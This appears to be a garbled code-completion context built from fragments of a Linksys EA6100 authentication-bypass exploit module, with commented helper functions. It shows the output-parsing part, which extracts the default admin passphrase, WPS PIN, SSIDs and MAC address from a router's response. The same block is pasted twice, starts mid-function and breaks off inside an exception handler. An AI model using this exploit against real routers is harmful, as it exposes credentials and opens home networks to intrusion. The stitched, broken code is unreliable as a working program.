# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_yellow(msg):
#     print(Color.YELLOW + msg + Color.ENDC)
# 
# def print_green(msg):
#     print(Color.GREEN + msg + Color.ENDC)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# Path: interface/utils.py
# def lookup_mac(mac):
#     mac = mac.replace(":", "")
#     mac = mac.replace("-", "")
#     cursor = core.globals.ouidb_conn.cursor()
#     cursor.execute("SELECT name FROM oui WHERE oui == ?", [mac[:6]])
#     company_name = (cursor.fetchone())
#     if company_name is not None:
#         company_name = company_name[0]
#         return "(" + company_name + ")"
#     else:
#         return "(Unknown)"


import core.Exploit
import core.io
import requests
import re
from interface.messages import print_error, print_yellow, print_green, print_warning, print_success, print_info
from interface.utils import lookup_mac
            regex = re.search("device::default_passphrase=(.*)", result)
            if regex:
                try:
                    print_green("Default admin passphrasse: " + regex.group(1))
                except IndexError:
                    print_error("Unable to locate passphrasse")

            regex = re.search("device::mac_addr=(.*)", result)
            if regex:
                try:
                    print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1)))
                except IndexError:
                    print_error("Unable to locate MAC")
            regex = re.search("device::default_ssid=(.*)", result)
            if regex:
                try:
                    print_green("Default SSID:: " + regex.group(1))
                except IndexError:
                    print_error("Unable to locate default SSID")
            regex = re.search("device::wps_pin=(.*)", result)
            if regex:
                try:
                    print_green("WPS Pin: " + regex.group(1))
                except IndexError:
                    print_error("Unable to locate WPS pin")
            regex = re.search("wl0_ssid=(.*)", result)
            if regex:
                try:
                    print_green("SSID: " + regex.group(1))
                except IndexError:

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_yellow(msg):
#     print(Color.YELLOW + msg + Color.ENDC)
# 
# def print_green(msg):
#     print(Color.GREEN + msg + Color.ENDC)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# Path: interface/utils.py
# def lookup_mac(mac):
#     mac = mac.replace(":", "")
#     mac = mac.replace("-", "")
#     cursor = core.globals.ouidb_conn.cursor()
#     cursor.execute("SELECT name FROM oui WHERE oui == ?", [mac[:6]])
#     company_name = (cursor.fetchone())
#     if company_name is not None:
#         company_name = company_name[0]
#         return "(" + company_name + ")"
#     else:
#         return "(Unknown)"


# Path: modules/exploits/linksys/ea6100_auth_bypass.py
import core.Exploit
import core.io
import requests
import re
from interface.messages import print_error, print_yellow, print_green, print_warning, print_success, print_info
from interface.utils import lookup_mac

            regex = re.search("device::default_passphrase=(.*)", result)
            if regex:
                try:
                    print_green("Default admin passphrasse: " + regex.group(1))
                except IndexError:
                    print_error("Unable to locate passphrasse")

            regex = re.search("device::mac_addr=(.*)", result)
            if regex:
                try:
                    print_green("MAC: " + regex.group(1) + lookup_mac(regex.group(1)))
                except IndexError:
                    print_error("Unable to locate MAC")
            regex = re.search("device::default_ssid=(.*)", result)
            if regex:
                try:
                    print_green("Default SSID:: " + regex.group(1))
                except IndexError:
                    print_error("Unable to locate default SSID")
            regex = re.search("device::wps_pin=(.*)", result)
            if regex:
                try:
                    print_green("WPS Pin: " + regex.group(1))
                except IndexError:
                    print_error("Unable to locate WPS pin")
            regex = re.search("wl0_ssid=(.*)", result)
            if regex:
                try:
                    print_green("SSID: " + regex.group(1))
                except IndexError:

                    print_error("Unable to locate SSID")